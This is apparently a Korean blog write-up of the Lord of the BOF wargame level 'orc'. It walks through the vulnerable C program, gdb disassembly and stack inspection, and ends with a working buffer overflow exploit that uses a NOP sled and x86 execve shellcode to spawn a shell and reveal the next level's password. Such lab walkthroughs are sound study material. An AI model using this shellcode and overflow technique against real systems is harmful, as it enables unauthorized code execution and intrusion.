> [goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



대충 소스코드로 알 수 있는 것들은

-환경변수 사용 불가능

-argv[1][47]이 \xbf가 아니면 exit(0)이 작동된다

 [goblin@localhost goblin]$ cd /tmp

[goblin@localhost /tmp]$ gdb -q orc

(gdb) set dis intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,44

0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1

0x804850a <main+10>:    jg     0x8048523 <main+35>

0x804850c <main+12>:    push   0x8048630

0x8048511 <main+17>:    call   0x8048410 <printf>

0x8048516 <main+22>:    add    %esp,4

0x8048519 <main+25>:    push   0

0x804851b <main+27>:    call   0x8048420 <exit>

0x8048520 <main+32>:    add    %esp,4

0x8048523 <main+35>:    nop

0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0

0x804852b <main+43>:    nop

0x804852c <main+44>:    lea    %esi,[%esi*1]

0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44]

0x8048533 <main+51>:    lea    %edx,[%eax*4]

0x804853a <main+58>:    mov    %eax,%ds:0x8049750

0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0

0x8048543 <main+67>:    jne    0x8048547 <main+71>

0x8048545 <main+69>:    jmp    0x8048587 <main+135>

0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44]

0x804854a <main+74>:    lea    %edx,[%eax*4]

0x8048551 <main+81>:    mov    %eax,%ds:0x8049750

0x8048556 <main+86>:    mov    %edx,DWORD PTR [%eax+%edx]

0x8048559 <main+89>:    push   %edx

0x804855a <main+90>:    call   0x80483f0 <strlen>

0x804855f <main+95>:    add    %esp,4

0x8048562 <main+98>:    mov    %eax,%eax

0x8048564 <main+100>:   push   %eax

0x8048565 <main+101>:   push   0

0x8048567 <main+103>:   mov    %eax,DWORD PTR [%ebp-44]

0x804856a <main+106>:   lea    %edx,[%eax*4]

0x8048571 <main+113>:   mov    %eax,%ds:0x8049750

0x8048576 <main+118>:   mov    %edx,DWORD PTR [%eax+%edx]

0x8048579 <main+121>:   push   %edx

0x804857a <main+122>:   call   0x8048430 <memset>

0x804857f <main+127>:   add    %esp,12

0x8048582 <main+130>:   inc    DWORD PTR [%ebp-44]

0x8048585 <main+133>:   jmp    0x8048530 <main+48>

---Type <return> to continue, or q <return> to quit---

0x8048587 <main+135>:   mov    %eax,DWORD PTR [%ebp+12]

0x804858a <main+138>:   add    %eax,4

0x804858d <main+141>:   mov    %edx,DWORD PTR [%eax]

0x804858f <main+143>:   add    %edx,47

0x8048592 <main+146>:   cmp    BYTE PTR [%edx],0xbf

0x8048595 <main+149>:   je     0x80485b0 <main+176>

0x8048597 <main+151>:   push   0x804863c

0x804859c <main+156>:   call   0x8048410 <printf>

0x80485a1 <main+161>:   add    %esp,4

0x80485a4 <main+164>:   push   0

0x80485a6 <main+166>:   call   0x8048420 <exit>

0x80485ab <main+171>:   add    %esp,4

0x80485ae <main+174>:   mov    %esi,%esi

0x80485b0 <main+176>:   mov    %eax,DWORD PTR [%ebp+12]

0x80485b3 <main+179>:   add    %eax,4

0x80485b6 <main+182>:   mov    %edx,DWORD PTR [%eax]

0x80485b8 <main+184>:   push   %edx

0x80485b9 <main+185>:   lea    %eax,[%ebp-40]

0x80485bc <main+188>:   push   %eax

0x80485bd <main+189>:   call   0x8048440 <strcpy>

0x80485c2 <main+194>:   add    %esp,8

0x80485c5 <main+197>:   lea    %eax,[%ebp-40]

0x80485c8 <main+200>:   push   %eax

0x80485c9 <main+201>:   push   0x8048659

0x80485ce <main+206>:   call   0x8048410 <printf>

0x80485d3 <main+211>:   add    %esp,8

0x80485d6 <main+214>:   leave

0x80485d7 <main+215>:   ret



gdb로 확인해보면 딱히 dummy는 없는 것 같다


 (gdb) b *main+189

Breakpoint 1 at 0x80485bd


(gdb) r `python -c 'print "A"*47+"\xbf"+"B"*100'`

Starting program: /tmp/orc `python -c 'print "A"*47+"\xbf"+"B"*100'`


Breakpoint 2, 0x80485bd in main ()

(gdb) x/100x $esp

...

0xbffffdb4:     0x41414100      0x41414141      0x41414141      0x41414141

0xbffffdc4:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xbffffdd4:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffde4:     0x424242bf      0x42424242      0x42424242      0x42424242

0xbffffdf4:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe04:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe14:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe24:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe34:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe44:     0x42424242      0x00000042      0x00000000      0x00000000

...

(gdb) q



strcpy가 실행되는 부분에 브레이크를 걸고 argv[1][47]에 xbf가 들어가 조건에 걸리지 않게 해서 버퍼의 위치를 알아내보자



 [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*44+"\xf4\xfd\xff\xbf"+"\x90"*100+

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒                       ▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                                                            ̀

bash$ my-pass

euid = 504

cantata



argv[1]을 꽉 채우고 ret 주소에 argv[2]의 주소값을 넣는다

그리고 argv[2]에는 nop 코드와 쉘 코드를 넣는다

buffer의 크기가 SFP를 포함해 44이기 때문에 ret에 주소값을 넣으면 자동으로 argv[1][47]이 \xbf가 된다

피드백은 댓글로


'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10